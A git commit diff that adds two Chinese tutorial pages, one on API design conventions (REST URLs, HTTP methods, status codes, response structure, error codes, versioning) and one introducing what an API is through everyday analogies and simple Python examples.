feat(docs): restructure appendix content into organized directories
- Move standalone AI-related files into 8-artificial-intelligence directory - Move development tools content into 2-development-tools directory - Move server/backend content into 4-server-and-backend directory - Create new index files for each section - Update .gitignore to exclude old backup directories - Update theme imports for new component locations
This commit is contained in:
sanbuphy
@@ -0,0 +1,553 @@
|
||||
# API 设计哲学（REST / GraphQL / gRPC）
|
||||
::: tip 🎯 核心问题
|
||||
**前后端如何高效对话?** 这就像问:餐厅的菜单怎么设计,客人一看就懂?服务员怎么记单,不会出错?上菜怎么规范,客人满意?API 设计解决的就是"对话规则"的问题。
|
||||
:::
|
||||
|
||||
---
|
||||
|
||||
## 1. 为什么要"API 设计"?
|
||||
|
||||
### 1.1 从混乱到规范
|
||||
|
||||
想象一下你走进一家餐厅:
|
||||
|
||||
- **菜单(API 文档)**:清楚标注了每道菜的口味、配料、价格
|
||||
- **服务员(HTTP 协议)**:用标准化的方式记录你的点餐
|
||||
- **后厨(服务端)**:按约定流程烹饪
|
||||
- **上菜(响应)**:盘子摆盘规范,附带小票说明
|
||||
|
||||
**好的 API 设计就像这套点餐系统**——双方约定好"说什么话"、"怎么说话"、"出错怎么办",才能高效协作。
|
||||
|
||||
但很多团队的真实情况是:
|
||||
|
||||
- 接口命名随心所欲:`/getUserData`、`/fetchUserInfo`、`/queryUserById` 并存
|
||||
- 错误处理五花八门:有的返回 HTTP 状态码,有的返回 `code: 500`,有的直接抛异常
|
||||
- 响应结构千人千面:同一个项目里,有的用 `data`,有的用 `result`,有的用 `content`
|
||||
|
||||
<RestfulDesignDemo />
|
||||
|
||||
**结果就是**:前后端互相猜,联调痛苦,维护成本高,新人入职一脸懵。
|
||||
|
||||
::: tip 💡 通俗解释
|
||||
**API**(Application Programming Interface,应用程序编程接口)就像"餐厅的服务协议":
|
||||
|
||||
- **RESTful** = 餐厅点餐:有菜单、有流程、有规范
|
||||
- **GraphQL** = 自助餐:想要什么,自己组合
|
||||
- **gRPC** = 快递:二进制格式,速度最快
|
||||
|
||||
**为什么需要设计?**
|
||||
|
||||
- 没有设计 = 服务员随机记单 → 后厨看不懂、客人等半天
|
||||
- 有设计 = 标准化流程 → 效率高、错误少
|
||||
:::
|
||||
|
||||
---
|
||||
|
||||
## 2. RESTful 设计:让你的 URL 会说话
|
||||
|
||||
### 2.1 什么是 RESTful?
|
||||
|
||||
**REST**(Representational State Transfer,表述性状态传递)是一种软件架构风格,由 Roy Fielding 在 2000 年提出。
|
||||
|
||||
**核心思想**:把网络上的所有事物都抽象为"资源"(Resource),用 URL 标识资源,用 HTTP 方法操作资源。
|
||||
|
||||
<ResourceAnalogyDemo />
|
||||
|
||||
::: tip 💡 资源是什么?
|
||||
**资源**(Resource)是 REST 架构的核心概念:
|
||||
|
||||
- 有唯一标识(URL)
|
||||
- 有表达方式(JSON/XML/HTML)
|
||||
- 有操作方法(GET/POST/PUT/DELETE)
|
||||
|
||||
**比喻**:
|
||||
|
||||
- URL 是"仓库的货架地址":`/warehouse/products` 是"产品区"
|
||||
- HTTP 方法是"允许的操作":GET(查看)、POST(入库)、PUT(更新)、DELETE(出库)
|
||||
|
||||
**关键点**:
|
||||
|
||||
- URL 是名词,不是动词:`/users` 而不是 `/getUsers`
|
||||
- HTTP 方法已经表达了操作,不需要在 URL 里重复
|
||||
:::
|
||||
|
||||
### 2.2 URL 设计的 7 个黄金法则
|
||||
|
||||
<HttpMethodsDemo />
|
||||
|
||||
| 法则 | 正确示例 | 错误示例 | 原因 |
|
||||
| ---------------------- | --------------------------------------------- | ----------------------------------------- | ---------------------------------------- |
|
||||
| **1. 用名词,不用动词** | `GET /users` | `GET /getUsers` | URL 是资源地址,不是操作 |
|
||||
| **2. 用复数** | `GET /orders` | `GET /order` | 一致性好,表示集合 |
|
||||
| **3. 小写字母** | `/user-profiles` | `/UserProfiles` | URL 大小写敏感,统一小写避免混乱 |
|
||||
| **4. 用连字符** | `/user-profiles` | `/user_profiles` | 连字符是 URL 规范,下划线在某些场景会转义 |
|
||||
| **5. 避免层级过深** | `/users/123/orders` | `/users/123/orders/456/items/789/status` | 超过 3 层考虑用查询参数或重构 |
|
||||
| **6. 用查询参数过滤** | `GET /products?category=phone&price_max=5000` | `GET /products/category/phone/price/5000` | 过滤条件多且变动,不适合放路径 |
|
||||
| **7. 版本号放 URL** | `/v1/users` 或 `v1.users.api.com` | 混用新旧接口无版本 | 便于灰度发布和向后兼容 |
|
||||
|
||||
::: tip 📊 从表格中你能看到什么?
|
||||
**规则 1-4**是"一致性"原则:
|
||||
|
||||
- 统一名词、复数、大小写,让团队所有人写的 URL 风格一致
|
||||
- 减少认知负担,一眼就知道这是什么资源
|
||||
|
||||
**规则 5-6**是"灵活性"原则:
|
||||
|
||||
- 层级太深 = 耦心度太高,难以维护
|
||||
- 查询参数 = 更灵活,可以组合任意过滤条件
|
||||
|
||||
**规则 7**是"兼容性"原则:
|
||||
|
||||
- API 是长期契约,不能随意改
|
||||
- 版本号让新旧接口并存,平滑升级
|
||||
:::
|
||||
|
||||
### 2.3 HTTP 方法的选择
|
||||
|
||||
| 方法 | 用途 | 幂等性\* | 安全性\*\* | 典型场景 |
|
||||
| ---------- | -------- | -------- | ---------- | -------------------------- |
|
||||
| **GET** | 获取资源 | 是 | 是 | 查询列表、查看详情 |
|
||||
| **POST** | 创建资源 | 否 | 否 | 新增用户、提交订单 |
|
||||
| **PUT** | 全量更新 | 是 | 否 | 替换整个用户资料 |
|
||||
| **PATCH** | 部分更新 | 否 | 否 | 修改用户昵称(只传一个字段) |
|
||||
| **DELETE** | 删除资源 | 是 | 否 | 删除用户、取消订单 |
|
||||
|
||||
> **\*幂等性**:多次执行结果相同。比如 PUT 同一个资源 10 次,结果还是那一个资源。\***\*安全性**:不会改变服务器状态。GET 是安全的,POST/PUT/DELETE 都不安全。
|
||||
|
||||
::: details 🔧 幂等性为什么重要?
|
||||
**场景**:用户点击"支付"按钮,但网络延迟,用户又点了一次。
|
||||
|
||||
- **幂等的操作**(PUT/DELETE):点击 10 次和点击 1 次,结果相同。不会重复扣款。
|
||||
- **不幂等的操作**(POST):点击 10 次,可能创建 10 个订单。
|
||||
|
||||
**解决方案**:
|
||||
|
||||
- **客户端**:按钮点击后禁用,防止重复提交
|
||||
- **服务端**:POST 操作用唯一 ID 校验,避免重复处理
|
||||
|
||||
**关键点**:幂等性是分布式系统正确性的重要保证。
|
||||
:::
|
||||
|
||||
### 2.4 实战示例:电商系统的 RESTful API
|
||||
|
||||
```
|
||||
# 用户模块
|
||||
GET /v1/users # 获取用户列表(支持分页、过滤)
|
||||
POST /v1/users # 创建新用户
|
||||
GET /v1/users/{id} # 获取用户详情
|
||||
PUT /v1/users/{id} # 全量更新用户信息
|
||||
PATCH /v1/users/{id} # 部分更新(如:修改密码)
|
||||
DELETE /v1/users/{id} # 删除用户
|
||||
|
||||
# 订单模块(嵌套资源,最多 3 层)
|
||||
GET /v1/users/{id}/orders # 获取某用户的所有订单
|
||||
POST /v1/users/{id}/orders # 为用户创建订单
|
||||
GET /v1/orders/{orderId} # 获取订单详情(扁平化,避免过深)
|
||||
PATCH /v1/orders/{orderId}/status # 更新订单状态(子资源操作)
|
||||
|
||||
# 商品模块(复杂过滤用查询参数)
|
||||
GET /v1/products?category=electronics&price_min=100&price_max=5000&sort=price_desc&page=2&page_size=20
|
||||
|
||||
# 复杂报表(特殊场景,URL 可带动词)
|
||||
POST /v1/reports/sales/export # 导出销售报表(非纯 CRUD,动词可接受)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 3. 状态码:让错误"会说话"
|
||||
|
||||
### 3.1 为什么状态码很重要?
|
||||
|
||||
<StatusCodeDemo />
|
||||
|
||||
想象一下,如果你的 API 不管成功失败都返回 `200 OK`,客户端该怎么判断?
|
||||
|
||||
```json
|
||||
// ❌ 错误的做法:HTTP 200,但业务失败
|
||||
HTTP/1.1 200 OK
|
||||
{
|
||||
"success": false,
|
||||
"error": "用户不存在"
|
||||
}
|
||||
```
|
||||
|
||||
**问题在哪?**
|
||||
|
||||
- 缓存层(CDN、浏览器)会缓存这个"成功的"响应
|
||||
- 监控工具以为一切正常
|
||||
- 前端需要额外解析 JSON 才知道有没有错
|
||||
|
||||
**正确的做法**:用 HTTP 状态码表示传输层状态,和业务成功/失败解耦。
|
||||
|
||||
### 3.2 常用状态码速查表
|
||||
|
||||
| 状态码 | 含义 | 使用场景 | 响应体内容 |
|
||||
| ------------------------- | -------------- | ---------------------------------------------- | ------------------------ | --- |
|
||||
| **2xx 成功** | | | | |
|
||||
| 200 OK | 通用成功 | GET 查询成功、PUT/PATCH 更新成功 | 资源数据 |
|
||||
| 201 Created | 创建成功 | POST 创建资源成功 | 新资源数据 + Location 头 |
|
||||
| 202 Accepted | 已接受 | 异步任务提交成功(如:导出报表) | 任务状态/轮询地址 |
|
||||
| 204 No Content | 无内容 | DELETE 删除成功、PUT 更新但无需返回数据 | 空(用缓存) |
|
||||
| **3xx 重定向** | | | | |
|
||||
| 301 Moved Permanently | 永久重定向 | 资源 URL 永久变更(如:v1 废弃,跳转 v2) | 新 URL |
|
||||
| 302 Found | 临时重定向 | 临时跳转(较少用于 API) | 临时 URL |
|
||||
| 304 Not Modified | 未修改 | 缓存有效(配合 If-None-Match/If-Modified-Since) | 空(用缓存) |
|
||||
| **4xx 客户端错误** | | | | |
|
||||
| 400 Bad Request | 请求格式错误 | 参数缺失、JSON 格式错误、字段类型不对 | 错误详情 |
|
||||
| 401 Unauthorized | 未认证 | 缺少 Token、Token 过期、签名错误 | 认证方式说明 |
|
||||
| 403 Forbidden | 禁止访问 | 已登录但无权限(如:普通用户访问管理员接口) | 无权限说明 |
|
||||
| 404 Not Found | 资源不存在 | URL 错误、资源已删除 | 错误详情 |
|
||||
| 405 Method Not Allowed | 方法不允许 | 如:对只读资源调用 POST | 允许的 Methods |
|
||||
| 409 Conflict | 资源冲突 | 重复创建(唯一约束冲突)、乐观锁版本冲突 | 冲突详情 |
|
||||
| 422 Unprocessable Entity | 语义错误 | 请求格式对,但业务校验失败(如:密码太短) | 校验错误详情 |
|
||||
| 429 Too Many Requests | 请求过多 | 触发限流(Rate Limiting) | 重试时间 |
|
||||
| **5xx 服务端错误** | | | | |
|
||||
| 500 Internal Server Error | 服务器内部错误 | 未捕获的异常、代码 bug | 错误 ID(不要暴露堆栈) |
|
||||
| 502 Bad Gateway | 网关错误 | 反向代理(Nginx)无法连接到后端服务 | - |
|
||||
| 503 Service Unavailable | 服务不可用 | 服务正在维护、过载保护触发 | 恢复时间估计 |
|
||||
| 504 Gateway Timeout | 网关超时 | 后端响应太慢,被代理层切断 | - |
|
||||
|
||||
::: tip 📊 从表格中你能看到什么?
|
||||
**2xx(成功)** vs **3xx(重定向)** vs **4xx(客户端错误)** vs **5xx(服务端错误)**:
|
||||
|
||||
- **2xx**:一切正常,客户端可以继续
|
||||
- **3xx**:资源换地方了,告诉客户端去哪找
|
||||
- **4xx**:客户端搞错了,修正请求后重试
|
||||
- **5xx**:服务端出问题了,客户端等一等再试,或者联系管理员
|
||||
|
||||
**关键点**:正确的状态码让客户端、浏览器、CDN、监控工具都能正确理解响应。
|
||||
:::
|
||||
|
||||
### 3.3 状态码使用的"避坑指南"
|
||||
|
||||
**坑 1:所有错误都用 400**
|
||||
|
||||
```
|
||||
❌ GET /users/999 → 400 (用户不存在应该返回 404)
|
||||
❌ POST /login 密码错误 → 400 (应该返回 401 或 422)
|
||||
❌ 删除已删除的资源 → 400 (应该返回 404 或 204)
|
||||
```
|
||||
|
||||
**坑 2:业务状态混在 HTTP 状态码里**
|
||||
|
||||
```
|
||||
❌ 订单支付失败 → 402 Payment Required (这个状态码是为数字钱包预留的,不要滥用)
|
||||
✅ 订单支付失败 → 200 OK + body: { "code": "PAYMENT_FAILED", "message": "余额不足" }
|
||||
```
|
||||
|
||||
**坑 3:暴露敏感信息**
|
||||
|
||||
```
|
||||
❌ 500 响应里返回完整的堆栈跟踪、SQL 查询语句、数据库连接信息
|
||||
✅ 只返回 "错误 ID",详细日志记录到服务器,通过错误 ID 关联
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 4. 请求与响应:标准化的数据契约
|
||||
|
||||
### 4.1 请求结构设计
|
||||
|
||||
<RequestStructureDemo />
|
||||
|
||||
**HTTP 请求由 3 部分组成**:
|
||||
|
||||
```http
|
||||
# 1. 请求行(方法 + URL + 协议版本)
|
||||
POST /v1/users HTTP/1.1
|
||||
|
||||
# 2. 请求头(元数据)
|
||||
Host: api.example.com
|
||||
Content-Type: application/json
|
||||
Authorization: Bearer eyJhbGciOiJIUzI1NiIs...
|
||||
X-Request-ID: req-123456789
|
||||
Accept: application/json
|
||||
Accept-Language: zh-CN,zh;q=0.9
|
||||
|
||||
# 3. 请求体(仅 POST/PUT/PATCH 需要)
|
||||
{
|
||||
"name": "张三",
|
||||
"email": "zhangsan@example.com",
|
||||
"phone": "13800138000"
|
||||
}
|
||||
```
|
||||
|
||||
#### 查询参数设计规范
|
||||
|
||||
```http
|
||||
# 分页(必须)
|
||||
GET /products?page=1&page_size=20
|
||||
|
||||
# 排序(可选)
|
||||
GET /products?sort=created_at&order=desc
|
||||
|
||||
# 过滤(可选,支持多种操作符)
|
||||
GET /products?price_min=100&price_max=5000 # 范围
|
||||
GET /products?category=electronics,clothing # 多选(IN)
|
||||
GET /products?status=active&is_featured=true # 布尔
|
||||
GET /products?search=iphone # 全文搜索
|
||||
|
||||
# 字段选择(可选,减少数据传输)
|
||||
GET /products?fields=id,name,price
|
||||
|
||||
# 组合使用
|
||||
GET /products?page=1&page_size=20&sort=price&order=asc&category=electronics&price_max=5000&fields=id,name,price
|
||||
```
|
||||
|
||||
#### 请求头设计规范
|
||||
|
||||
| 头部字段 | 用途 | 示例 | 是否必需 |
|
||||
| ------------------ | ------------ | ----------------------------------------- | --------------------- |
|
||||
| `Authorization` | 认证信息 | `Bearer eyJhbGciOiJIUzI1NiIs...` | 受保护接口必需 |
|
||||
| `Content-Type` | 请求体格式 | `application/json` | POST/PUT/PATCH 必需 |
|
||||
| `Accept` | 期望响应格式 | `application/json` | 建议携带 |
|
||||
| `Accept-Language` | 期望语言 | `zh-CN,zh;q=0.9,en;q=0.8` | 多语言应用必需 |
|
||||
| `X-Request-ID` | 请求唯一标识 | `req-550e8400-e29b-41d4-a716-44665544000` | 建议携带,便于追踪 |
|
||||
| `X-Client-Version` | 客户端版本 | `iOS-2.5.1` / `Web-3.0.0` | 建议携带,便于问题排查 |
|
||||
| `If-None-Match` | 缓存校验 | `"abc123"` | 可选,用于乐观并发控制 |
|
||||
|
||||
### 4.2 响应结构设计
|
||||
|
||||
<ResponseStructureDemo />
|
||||
|
||||
**标准化响应结构**(无论成功与否,结构一致):
|
||||
|
||||
```json
|
||||
{
|
||||
"code": 0,
|
||||
"message": "success",
|
||||
"data": { ... },
|
||||
"request_id": "req-123456789",
|
||||
"timestamp": "2024-01-15T09:30:00.000Z"
|
||||
}
|
||||
```
|
||||
|
||||
#### 响应字段说明
|
||||
|
||||
| 字段 | 类型 | 说明 | 示例 |
|
||||
| ------------ | ------- | ---------------------------------------------------------- | ------------------------------------------- |
|
||||
| `code` | integer | 业务状态码,`0` 表示成功,非 `0` 表示失败 | `0`, `10001`, `20003` |
|
||||
| `message` | string | 状态描述,成功时为 `"success"`,失败时为错误描述 | `"success"`, `"用户不存在"` |
|
||||
| `data` | any | 业务数据,成功时返回具体数据,失败时可返回 `null` 或错误详情 | `{ "id": 1, "name": "张三" }` |
|
||||
| `request_id` | string | 请求唯一标识,用于问题追踪 | `"req-550e8400-e29b-41d4-a716-44665544000"` |
|
||||
| `timestamp` | string | 响应时间戳,ISO 8601 格式 | `"2024-01-15T09:30:00.000Z"` |
|
||||
|
||||
#### 分页响应结构
|
||||
|
||||
```json
|
||||
{
|
||||
"code": 0,
|
||||
"message": "success",
|
||||
"data": {
|
||||
"list": [
|
||||
{ "id": 1, "name": "商品A", "price": 100 },
|
||||
{ "id": 2, "name": "商品B", "price": 200 }
|
||||
],
|
||||
"pagination": {
|
||||
"page": 1,
|
||||
"page_size": 20,
|
||||
"total": 156,
|
||||
"total_pages": 8,
|
||||
"has_next": true,
|
||||
"has_prev": false
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
::: tip 💡 为什么要 request_id?
|
||||
**request_id** 是问题追踪的关键:
|
||||
|
||||
1. **用户反馈**:"支付失败,错误 ID 是 abc123"
|
||||
→ 技术人员直接在日志里搜索 abc123,立即定位问题
|
||||
|
||||
2. **分布式追踪**:
|
||||
- 请求经过 API Gateway → Service A → Service B
|
||||
- 每个服务都记录相同的 request_id
|
||||
- 日志系统可以把所有相关日志聚合起来
|
||||
|
||||
3. **性能分析**:
|
||||
- 统计某个 request_id 的完整链路耗时
|
||||
|
||||
- 发现瓶颈在哪个服务
|
||||
|
||||
**关键点**:request_id 是可观测性的基础,没有它,分布式系统的问题排查是地狱模式。
|
||||
:::
|
||||
|
||||
---
|
||||
|
||||
## 5. 错误处理:优雅地"拒绝"
|
||||
|
||||
### 5.1 为什么错误处理如此重要?
|
||||
|
||||
<ErrorHandlingDemo />
|
||||
|
||||
一个好的错误处理机制,能让客户端"看状态码就知道怎么回事",而不是去猜。
|
||||
|
||||
**错误的示范**:
|
||||
|
||||
```json
|
||||
HTTP/1.1 200 OK
|
||||
{
|
||||
"error": "出错了"
|
||||
}
|
||||
```
|
||||
|
||||
**问题**:
|
||||
|
||||
- HTTP 状态码说"成功",但业务说"出错"
|
||||
- 错误信息太笼统,无法定位问题
|
||||
- 没有错误代码,难以程序化判断
|
||||
|
||||
**正确的示范**:
|
||||
|
||||
```json
|
||||
HTTP/1.1 422 Unprocessable Entity
|
||||
{
|
||||
"code": 20003,
|
||||
"message": "密码强度不足",
|
||||
"errors": [
|
||||
{
|
||||
"field": "password",
|
||||
"code": "VALIDATION_ERROR",
|
||||
"message": "密码必须包含至少 1 个大写字母、1 个小写字母、1 个数字,且长度至少 8 位"
|
||||
}
|
||||
],
|
||||
"request_id": "req-550e8400-e29b-41d4-a716-44665544000",
|
||||
"timestamp": "2024-01-15T09:30:00.000Z",
|
||||
"help_url": "https://docs.example.com/errors/20003"
|
||||
}
|
||||
```
|
||||
|
||||
### 5.2 错误码设计规范
|
||||
|
||||
::: tip 💡 错误码的分层设计
|
||||
**分层错误码**的好处:
|
||||
|
||||
- **可程序化判断**:前端根据 `code` 字段决定行为,而不是解析 `message`
|
||||
- **国际化友好**:`code` 不变,`message` 可以根据用户语言返回不同文本
|
||||
- **文档化**:每个错误码都有文档,开发者可以查
|
||||
|
||||
**结构**:1XXYY
|
||||
|
||||
- 第 1 位(1):固定,表示错误
|
||||
- 第 2-3 位(XX):模块/层次
|
||||
- 第 3-4 位(YY):具体错误
|
||||
|
||||
**示例**:
|
||||
|
||||
- `10001`:通用错误(参数错误)
|
||||
- `10010`:用户模块(用户不存在)
|
||||
- `20003`:业务错误(密码强度不足)
|
||||
:::
|
||||
|
||||
#### 分层错误码体系
|
||||
|
||||
```
|
||||
错误码格式:1XXYY
|
||||
- 第 1 位(1):固定,表示错误
|
||||
- 第 2-3 位(XX):模块/层次
|
||||
- 第 4-5 位(YY):具体错误
|
||||
```
|
||||
|
||||
| 模块代码 | 模块名称 | 说明 |
|
||||
| -------- | ---------- | ------------------------ |
|
||||
| 00 | 通用 | 系统级、通用错误 |
|
||||
| 10 | 用户模块 | 注册、登录、用户信息相关 |
|
||||
| 11 | 认证授权 | Token、权限相关 |
|
||||
| 20 | 商品模块 | 商品 CRUD、库存相关 |
|
||||
| 30 | 订单模块 | 下单、支付、物流相关 |
|
||||
| 40 | 支付模块 | 支付渠道、退款相关 |
|
||||
| 50 | 营销模块 | 优惠券、活动相关 |
|
||||
| 90 | 第三方服务 | 短信、邮件、云存储等 |
|
||||
|
||||
---
|
||||
|
||||
## 6. 版本控制:API 的"向后兼容"
|
||||
|
||||
### 6.1 为什么要做 API 版本控制?
|
||||
|
||||
<VersioningStrategyDemo />
|
||||
|
||||
场景:你的电商系统已经上线,App 有 100 万用户。现在需要修改订单接口,添加一个新字段,同时废弃一个旧字段。
|
||||
|
||||
**如果不做版本控制**:
|
||||
|
||||
- 新 App 调用新接口 → 正常工作
|
||||
- 旧 App 调用新接口 → 字段缺失,崩溃
|
||||
- 用户投诉 → 老板震怒 → 你背锅
|
||||
|
||||
**正确的做法**:
|
||||
|
||||
```
|
||||
/v1/orders - 旧接口,继续服务旧 App
|
||||
/v2/orders - 新接口,新功能在这里
|
||||
```
|
||||
|
||||
旧 App 继续调用 `/v1/orders`,新功能上线不会崩。等旧 App 用户都升级了,再考虑废弃 v1。
|
||||
|
||||
### 6.2 4 种版本控制策略
|
||||
|
||||
| 策略 | 示例 | 优点 | 缺点 | 推荐度 |
|
||||
| ----------------------- | ------------------------------------- | -------------------------- | ---------------------------------- | -------- |
|
||||
| **URL Path** | `/v1/users` | 最直观、易于缓存、文档清晰 | URL 变化 | ⭐⭐⭐⭐ |
|
||||
| **Header** | `API-Version: v1` | URL 不变 | 不直观,难以缓存,需要读 Header 文档 | ⭐⭐ |
|
||||
| **Content Negotiation** | `Accept: application/vnd.api.v1+json` | 标准 HTTP 规范 | 复杂,理解成本高 | ⭐⭐ |
|
||||
| **Query Parameter** | `/users?version=v1` | 简单 | 不专业,容易被忽视,缓存麻烦 | ⭐ |
|
||||
|
||||
**推荐做法**:URL Path 版本控制,简单直观,行业主流。
|
||||
|
||||
---
|
||||
|
||||
## 7. 总结:API 设计 checklist
|
||||
|
||||
### 7.1 设计阶段
|
||||
|
||||
- [ ] URL 设计符合 RESTful 规范(名词、复数、小写、连字符)
|
||||
- [ ] HTTP 方法使用正确(GET/POST/PUT/PATCH/DELETE)
|
||||
- [ ] 状态码选择恰当(2xx/4xx/5xx 区分清楚)
|
||||
- [ ] 错误码体系设计完成(分层、易扩展)
|
||||
- [ ] 响应结构标准化(code/message/data 统一)
|
||||
- [ ] 版本控制策略确定(URL Path 推荐)
|
||||
- [ ] 分页/排序/过滤参数设计统一
|
||||
|
||||
### 7.2 实现阶段
|
||||
|
||||
- [ ] 所有接口都有完善的 OpenAPI 文档
|
||||
- [ ] 参数校验规则清晰(类型、长度、必填)
|
||||
- [ ] 敏感信息脱敏处理(密码、Token 等)
|
||||
- [ ] 错误日志记录完整(带 request_id)
|
||||
- [ ] 接口性能监控到位(响应时间、错误率)
|
||||
- [ ] 限流熔断策略配置(防刷、降级)
|
||||
|
||||
### 7.3 维护阶段
|
||||
|
||||
- [ ] 接口变更走评审流程(兼容性检查)
|
||||
- [ ] 废弃接口有明确的 Sunset 计划
|
||||
- [ ] 客户端接入文档及时更新
|
||||
- [ ] 错误码文档随代码同步维护
|
||||
|
||||
---
|
||||
|
||||
## 8. 名词对照表
|
||||
|
||||
| 英文术语 | 中文对照 | 解释 |
|
||||
| -------------------------- | ---------------- | ----------------------------------------------------- |
|
||||
| **REST** | 表述性状态传递 | 一种软件架构风格,用 URL 标识资源,用 HTTP 方法操作资源 |
|
||||
| **RESTful** | 符合 REST 规范的 | 遵循 REST 架构风格设计的 API |
|
||||
| **Endpoint** | 端点 | API 的具体 URL 地址,如 `/users` |
|
||||
| **Resource** | 资源 | REST 架构中的核心概念,网络上的任何事物都可抽象为资源 |
|
||||
| **URI** | 统一资源标识符 | 标识资源的字符串,URL 是 URI 的一种 |
|
||||
| **HTTP Method** | HTTP 方法 | GET、POST、PUT、PATCH、DELETE 等 |
|
||||
| **Status Code** | 状态码 | HTTP 响应中的 3 位数字,表示请求的处理结果 |
|
||||
| **Payload** | 载荷 | HTTP 请求或响应的主体数据 |
|
||||
| **Header** | 头部 | HTTP 请求或响应的元数据 |
|
||||
| **Query String** | 查询字符串 | URL 中 `?` 后面的参数部分 |
|
||||
| **Path Parameter** | 路径参数 | URL 路径中的变量,如 `/users/{id}` |
|
||||
| **Pagination** | 分页 | 大数据量时分批返回的机制 |
|
||||
| **Idempotency** | 幂等性 | 多次执行结果相同的特性 |
|
||||
| **Deprecation** | 弃用 | 标记即将废弃的功能或接口 |
|
||||
| **Backward Compatibility** | 向后兼容 | 新版本兼容旧版本的接口调用 |
|
||||
| **Rate Limiting** | 限流 | 限制单位时间内的请求数量 |
|
||||
| **OpenAPI** | 开放 API 规范 | 描述 REST API 的标准格式(原 Swagger) |
|
||||
| **SDK** | 软件开发工具包 | 封装 API 调用的开发工具包 |
|
||||
@@ -0,0 +1,244 @@
|
||||
# API 入门
|
||||
<ApiQuickStartDemo />
|
||||
|
||||
👆 看见了吗？点一下按钮，230 毫秒后，一句格言就回来了。
|
||||
|
||||
这个过程，就是 **API 调用**。
|
||||
|
||||
---
|
||||
|
||||
## 说白了，API 就是"问一句，拿一笔"
|
||||
|
||||
你可能觉得"调用 API"是很高大上的操作。
|
||||
|
||||
其实吧，就像你去便利店买水——你说"来瓶可乐"，店员给你一瓶可乐。你问一句，他给一笔。
|
||||
|
||||
API 也是一样：
|
||||
|
||||
1. **你问**（发送请求）
|
||||
2. **别人答**（服务器处理）
|
||||
3. **你拿到**（返回结果）
|
||||
|
||||
只不过这次，你问的不是店员，而是一台远在千里之外的电脑。
|
||||
|
||||
---
|
||||
|
||||
## 但 API 远不止"网络接口"
|
||||
|
||||
一提到 API，很多人觉得这是很高深的东西，离自己很远。
|
||||
|
||||
其实吧，你写代码的第一天就在用 API 了，只是你不知道而已。
|
||||
|
||||
### 函数，就是最基础的 API
|
||||
|
||||
<FunctionApiDemo />
|
||||
|
||||
```python
|
||||
length = len("hello")
|
||||
```
|
||||
|
||||
`len()` 这个东西，你觉得它是什么？
|
||||
|
||||
它是个函数，没错。但同时，它也是 Python 给你留的一个 API。
|
||||
|
||||
什么意思呢？你不需要知道 `len()` 内部是怎么数字符串长度的，你不需要知道它是用 C 写的还是用 Python 写的，你只需要知道一件事——**把字符串给我，我告诉你多长**。
|
||||
|
||||
这就叫 API：**我把复杂的东西藏起来，只给你一个简单的用法**。
|
||||
|
||||
再看一个：
|
||||
|
||||
```python
|
||||
my_list = []
|
||||
my_list.append("item")
|
||||
```
|
||||
|
||||
`append()` 也是 API。背后可能是内存分配、指针移动、容量扩容...但你不用关心这些。你只需要说"给我加上去"，它就帮你搞定。
|
||||
|
||||
### 操作系统 API：让你的程序能"碰"硬件
|
||||
|
||||
当你在电脑上打开一个文件：
|
||||
|
||||
```python
|
||||
with open("file.txt", "r") as f:
|
||||
content = f.read()
|
||||
```
|
||||
|
||||
这行代码背后，Python 其实在调用**操作系统的 API**。
|
||||
|
||||
Windows 有 Win32 API，Linux 有 POSIX API，macOS 有 Cocoa API。这些 API 是干嘛的？让程序能真正操作硬件——读写硬盘、显示窗口、播放声音。
|
||||
|
||||
没有操作系统 API，你的 Python 代码就是一堆文字，根本动不了硬盘里的文件。
|
||||
|
||||
### 第三方库的 API：站在巨人的肩膀上
|
||||
|
||||
当你用 NumPy 做矩阵运算：
|
||||
|
||||
```python
|
||||
import numpy as np
|
||||
matrix = np.array([[1, 2], [3, 4]])
|
||||
result = np.dot(matrix, matrix)
|
||||
```
|
||||
|
||||
`np.dot()` 就是 NumPy 给你留的 API。背后可能是经过优化的 C++ 代码、多线程计算、SIMD 指令...但你只需要知道一件事——**给我两个矩阵，我还你一个乘积**。
|
||||
|
||||
这就是 API 的魅力：**把别人的能力，变成你的能力**。
|
||||
|
||||
### Web API：跨越网络的"超能力"
|
||||
|
||||
最后，才是大多数人熟知的 Web API：
|
||||
|
||||
```python
|
||||
import requests
|
||||
|
||||
response = requests.post(
|
||||
"https://api.deepseek.com/v1/chat/completions",
|
||||
headers={"Authorization": "Bearer sk-xxx"},
|
||||
json={"model": "deepseek-chat", "messages": [{"role": "user", "content": "你好"}]}
|
||||
)
|
||||
```
|
||||
|
||||
这行代码做了什么？
|
||||
|
||||
它让你的程序穿越互联网，调用了千里之外 DeepSeek 服务器上的 AI 模型。就像你打了个越洋电话，让大洋彼岸的厨师帮你做了一道菜。
|
||||
|
||||
**Web API 的神奇之处就在于：它让"调用别人的超级电脑"变得像调用本地函数一样简单。**
|
||||
|
||||
---
|
||||
|
||||
## 无论哪种 API，结构都一样
|
||||
|
||||
说了这么多，你可能发现了——不管哪种 API，它们的结构都是一样的。
|
||||
|
||||
就像插头和插座，怎么变都离不开三样东西：
|
||||
|
||||
| 要素 | 函数 API 的例子 | Web API 的例子 |
|
||||
|------|----------------|---------------|
|
||||
| **地址/名称** | `len()` | `https://api.example.com/users` |
|
||||
| **输入/参数** | `"hello"` | `{"name": "张三"}` |
|
||||
| **输出/返回** | `5` | `{"id": 1}` |
|
||||
|
||||
<ApiConceptDemo />
|
||||
|
||||
---
|
||||
|
||||
## 调用服务器：你是在"问"还是在"做"？
|
||||
|
||||
好，现在你知道调用 API 需要地址和参数。
|
||||
|
||||
但还有个问题没说：**你跟服务器说话的方式，不止一种。**
|
||||
|
||||
什么意思？
|
||||
|
||||
想象你去一家餐厅：
|
||||
|
||||
| 场景 | 现实中你会怎么说？ | 对应的 API 方式 |
|
||||
|------|-------------------|-----------------|
|
||||
| 你想知道今天有什么菜 | "服务员，菜单给我看看" | **GET** - 纯"问"，不改数据 |
|
||||
| 你想点一份宫保鸡丁 | "给我来份宫保鸡丁" | **POST** - "做"件事 |
|
||||
| 你想换一道菜 | "把宫保鸡丁改成糖醋里脊" | **PUT** - 替换数据 |
|
||||
| 你不想要了 | "算了，那道菜不要了" | **DELETE** - 删除数据 |
|
||||
|
||||
这就是 HTTP 方法的来历：**不同的动词，对应不同的操作。**
|
||||
|
||||
但最常用的就两个：**GET 和 POST**。其他的先不用管。
|
||||
|
||||
<ApiMethodDemo />
|
||||
|
||||
---
|
||||
|
||||
